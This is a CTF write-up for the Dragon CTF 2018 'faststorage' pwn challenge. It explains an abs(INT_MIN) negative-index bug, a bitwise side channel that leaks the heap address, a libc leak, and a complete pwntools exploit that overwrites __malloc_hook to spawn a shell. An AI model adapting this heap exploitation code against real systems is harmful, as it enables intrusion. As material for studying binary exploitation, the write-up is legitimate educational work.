**Description**
> Fast(tm) string => binary blob storage> > nc faststorage.hackable.software 1337
**Files provided**
 - [`faststorage`](https://github.com/EmpireCTF/empirectf/blob/master/writeups/2018-09-29-Teaser-Dragon-CTF/files/faststorage) - [`libc.so.6`](https://github.com/EmpireCTF/empirectf/blob/master/writeups/2018-09-29-Teaser-Dragon-CTF/files/libc.so.6)
**Solution** (by [Mem2019](https://github.com/Mem2019))
The program is something like a hash table, and my teammate told me that this is actually a [bloom filter](https://en.wikipedia.org/wiki/Bloom_filter) after the contest. 
The program provides 3 operation: add, print and edit.
### implementation
When doing `add` operation, function `0xCB6` is called to insert the element into the hash table.
```c__int64 __fastcall insert_hashtable(unsigned __int8 *name, void *value){  int v2; // ST1C_4  char v3; // ST18_1  char v4; // ST14_1  int v5; // ST1C_4
  v2 = tea_hash(name);  v3 = xor_hash(name);  v4 = addbits_hash(name);  v5 = abs(v2) % 62;                            // can be negative  insert_idx(v5, (__int64)name, (__int64)value);  return (__int64)set_hash_2bits(v5, v3, v4);}//The 'name' is the pointer to the heap which serves as the key//The low 48 bits of 'value' is the pointer to the heap, which serves as the value//The high 16 bits of 'value' is the length of the buffer
_QWORD *__fastcall insert_idx(int a1, unsigned __int8 *a2, void *a3){  _QWORD *result; // rax  void *v4; // [rsp+8h] [rbp-28h]  ht_ent *v5; // [rsp+28h] [rbp-8h]
  v4 = a3;  v5 = (ht_ent *)malloc(0x18uLL);  if ( !v5 )    err_exit();  v5->name = a2;  v5->value = v4;  v5->next = linked_lists[a1];  result = linked_lists;  linked_lists[a1] = v5;  return result;}//the hash from tea_hash is used as the index of linked_listunsigned int *__fastcall set_hash_2bits(int a1, char a2, char a3){  unsigned int *result; // rax
  result = bits;  bits[a1] |= (1 << a2) | (1 << a3);  return result;}//the hashes from xor and addbits, which is less than 32, //is used as 2 flag bits recored at corresponding index```
The problem is `abs` function, which will return a negative number, `INT_MIN=0x80000000`, if the argument passed is `INT_MIN`. Think about two's complement representation. Therefore, `abs(INT_MIN) % 62 == -2`.
If you look at the memory layout, 
```assembly.bss:0000000000202040 ; unsigned int bits[64].bss:0000000000202040 bits            dd 40h dup(?)           ; DATA XREF: set_hash_2bits+D↑o.bss:0000000000202040                                         ; set_hash_2bits+3D↑o ....bss:0000000000202140 ; _QWORD linked_lists[62].bss:0000000000202140 linked_lists    dq 3Eh dup(?)           ; DATA XREF: insert_idx+4A↑o.bss:0000000000202140                                         ; insert_idx+62↑o ...```
it is obvious that `linked_list[-2]` will be at the memory layout of `bits[60]` and `bits[61]`, which we can manipulate by setting some bits using index `60` and `61`. And if we can let it point to somewhere we can manipulate, we can fake a hash table entry and achieve arbitrary memory write by `edit` operation.
### leak heap address using side-channel
However, we need to leak the `libc` address, but there is no free operation, so the only possible way is to shrink the top chunk to create an unsorted bin. Fortunately, there is no null termination for `value` field, so we can leak `libc` address easily.
The tricky part is to leak the heap address, so that we can fake a hash table entry to edit the size of top chunk. My approach is using side-channel attack. Let's look at the `0xE3A` function
```csigned __int64 __fastcall find(__int64 a1, __int64 a2){  int v2; // eax  unsigned __int64 *v4; // [rsp+0h] [rbp-120h]  unsigned __int64 *v5; // [rsp+8h] [rbp-118h]  unsigned __int8 buf[256]; // [rsp+10h] [rbp-110h]  __int64 *v7; // [rsp+110h] [rbp-10h]  ssize_t v8; // [rsp+118h] [rbp-8h]
  memset(buf, 0, sizeof(buf));  v8 = 0LL;  v7 = 0LL;  printf("Name: ", a2, buf, a2, a1);  v2 = fileno(stdin);  v8 = read(v2, buf, 0x100uLL);  if ( v8 <= 0 )    err_exit();  buf[255] = 0;  v7 = find_from_hashtable(buf);  if ( !v7 )    return 0LL;  *v4 = (unsigned __int64)v7 >> 48;  *v5 = (unsigned __int64)v7 & 0xFFFFFFFFFFFFLL;  return 1LL;}__int64 *__fastcall find_from_hashtable(unsigned __int8 *a1){  int v1; // ST24_4  char v2; // ST20_1  char v3; // al  __int64 v5; // [rsp+24h] [rbp-Ch]  ht_ent *i; // [rsp+28h] [rbp-8h]
  v1 = tea_hash(a1);  v2 = xor_hash(a1);  v3 = addbits_hash(a1);  v5 = (unsigned int)(abs(v1) % 62);  if ( !(unsigned int)check_hash_2bits(v5, v2, v3) )    return 0LL;//check the 2 bits first, return 0 if not found  for ( i = linked_lists[(signed int)v5]; i && strcmp((const char *)i->name, (const char *)a1); i = (ht_ent *)i->next )    ;//if found, traverse the linked list and return the value  return (__int64 *)i->value;    //but if not found in hash table, this will cause null pointer access}```
Since we can let `bits[60:62]` equal to the heap address, we can traverse all bits, and do the bit testing. If `"No such entry!"` is shown, it is suggested that the corresponding bit is 0, otherwise it will be 1.
It will be easier to find the `name` such that `tea_hash` equal to `60` or `61`, and their other 2 hashes are same, so we can test only 1 bit at the time and do the traversing easier.
The C code to find such name:
```cint pos[64] = {0};int main(int argc, char const *argv[]){	//for (int j = 0; j < 64; ++j)	{		for (size_t i = 0; i < 0x100000000; ++i)		{			unsigned char* tmp = (unsigned char*)(&i);			tmp[4] = 0xff;			if (abs(tea_hash(tmp)) % 62 == 60 && xor_hash(tmp) == addbits_hash(tmp))			{				if (pos[xor_hash(tmp)] == 0)					printf("%lx %u\n", i, xor_hash(tmp));				pos[xor_hash(tmp)] = 1;			}			tmp[4] = 0;		}	}	return 0;}```
`tmp[4] = 0xff;` is used to get all values ranging from 0 to 32, use this to get one part and comment this to get another part.
And the result is 
```pythonxor_add_60 = {6:0xd2c,10:0x10ede,11:0x1396f,12:0x177ad,8:0x18563,7:0x3962,13:0x33b7b,14:0x3b77b,5:0x58021,16:0xbafef,17:0xbffdb,15:0xdcbef,19:0x3d7fef,18:0x4d77ff,21:0xfd7fef,20:0xff3bfd,22:0x1f6fdff,23:0x3fefefe,26:0xff0105bfff,24:0xff01071eff,25:0xff01073fdf,27:0xff011fdfdd,28:0xff011fdffb,29:0xff017fcfbf,31:0xff03f77dff,30:0xff03f77fcf}
xor_add_61 = {7:0x00094f,11:0x001e7f,10:0x00279f,6:0x00720a,8:0x009167,4:0x00c204,9:0x00ee86,12:0x023b7b,13:0x025eef,15:0x06a7ff,14:0x0adbaf,16:0x0bfbfa,5:0x4080a2,0:0xff0ffb7fde,3:0xff17fffffe,1:0xff1def7ffe,2:0xff1fbfffde}```
Because there will be null pointer access if the entry is not found, we need to add the entries first.
### exploit
```pythonfrom pwn import *
g_local=Truecontext.log_level='debug'
ONE_GADGET_OFF = 0x4526aUNSORTED_OFF = 0x3c4b78e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")if g_local:	sh = process('./faststorage')#env={'LD_PRELOAD':'./libc.so.6'}	gdb.attach(sh)else:	sh = remote("faststorage.hackable.software", 1337)
def add(name, size, value):	sh.send("1\n")	sh.recvuntil("Name: ")	sh.send(name)	sh.recvuntil("Size: ")	sh.send(str(size) + "\n")	sh.recvuntil("Value: ")	sh.send(value)	sh.recvuntil("> ")
def printe(name):	sh.send("2\n")	sh.recvuntil("Name: ")	sh.send(name)	sh.recvuntil("Value: ")	ret = sh.recvuntil("\n")	sh.recvuntil("> ")	return ret[:len(ret)-1]
def edit(name, value):	sh.send("3\n")	sh.recvuntil("Name: ")	sh.send(name)	sh.recvuntil("Value: ")	sh.send(value)	sh.recvuntil("> ")
def printsc(name):	sh.send("2\n")	sh.recvuntil("Name: ")	sh.send(name)	ret = sh.recvuntil("> ")	return ret.find("No such entry!") == -1
int_min_hash = p64(0x911261db)#give -2, way to brute force this is quite easy.
for i in xrange(12,32):	add(p64(xor_add_60[i]), 0x10, "no null pointer")for i in xrange(0,16):	add(p64(xor_add_61[i]), 0x10, "no null pointer")
add(int_min_hash, 0x10, "-2 idx access")
heap_addr = 0for i in xrange(12,32):	if printsc(p64(xor_add_60[i])):		heap_addr |= (1 << i)
for i in xrange(0,16):	if printsc(p64(xor_add_61[i])):		heap_addr |= (1 << (i + 32))
print hex(heap_addr)```
Now, we have the heap address, then we need to shrink the top chunk and leak `libc`, which is easier
```pythonneg2_name_off = 0xdb0top_off = 0x1090
#will allocate at df0fakeent = p64(0)fakeent += p64(heap_addr + neg2_name_off)fakeent += p64((heap_addr + top_off + 8) | (8 << 0x30))add("fakeent\x00", 0x200, fakeent)add(p64(xor_add_60[5]), 0x10, "dd0->df0")edit(int_min_hash, p64(0xf71))
#now topchunk# 0x555555758090 PREV_INUSE {#   size = 3953 = 0xf71for i in xrange(0,4):	add("consume\x00", 0x400, "topchunk")
#get a 0x221 unsorted binadd("leaklibc\x00", 0x100, "leakleak")leak = printe("leaklibc\x00")libc_addr = u64(leak[8:0x10]) - UNSORTED_OFFprint hex(libc_addr)```
finally, rewrite malloc hook to `one_gadget` to get the shell.
```pythonadd("consume", 0x80, "whole unsorted bin")add(int_min_hash, 0x10, "-2 idx access")
fakeent = p64(0)fakeent += p64(heap_addr + neg2_name_off)fakeent += p64((libc_addr + e.symbols["__malloc_hook"]) | (8 << 0x30))#0x21460 off for thisadd(p64(xor_add_60[7]), 0x100, cyclic(96) + fakeent)#460->4e0
edit(int_min_hash, p64(libc_addr + ONE_GADGET_OFF))#__malloc_hook = one_gadget
sh.interactive()```